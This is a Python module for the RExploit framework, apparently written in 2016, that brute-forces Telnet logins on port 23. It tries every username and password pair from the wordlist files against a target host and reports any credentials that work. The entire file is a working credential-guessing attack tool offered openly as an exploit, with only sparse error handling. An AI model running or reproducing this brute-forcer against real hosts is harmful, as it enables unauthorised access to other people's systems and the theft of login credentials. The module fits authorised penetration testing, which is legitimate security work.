import telnetlib

from rexploit.interfaces.iexploit import IExploit


class Exploit(IExploit):
    def __init__(self):
        super(Exploit, self).__init__(
            name="Attack Telnet login service",
            category="bf",
            authors={
                "Daniel Diez": "RExploit module"
            },
            targets=[
                "All"
            ],
            date="11/04/2016",
            cwe="255",
            description="This a generic exploit for attack login via telnet (port 23). Test with credentials create by generator or dictionary."
        )

    def default(self):
        data = {"port": "23",
                "users": "wordlist/users.txt",
                "passwords": "wordlist/passwords.txt"}

        return data

    def run(self, data):
        port = data["port"]
        users = data["users"]
        passwords = data["passwords"]
        message = ""

        for user in users:
            for password in passwords:
                try:
                    tn = telnetlib.Telnet(self.ip, port)

                    (i, obj, res) = tn.expect(["Login: ", "login: "], 5)
                    if i == -1:
                        message += "Error\nMaybe this services not require authentication"
                        tn.close()
                    tn.write(user + "\r\n")

                    (i, obj, res) = tn.expect(["Password: ", "password"], 5)
                    if i == -1:
                        message += "Error\nMaybe this services not require authentication"
                        tn.close()
                    tn.write(password + "\r\n")

                    tn.write("\r\n")

                    (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
                    tn.close()

                    if i == -1:
                        message += "Success!\nCredentials found\nUsername: {0} Password: {1}\n".format(user,
                                                                                                       password)

                    tn.close()

                except Exception:
                    pass

        if message == "":
            message = "Error. Credentials not found"

        return message
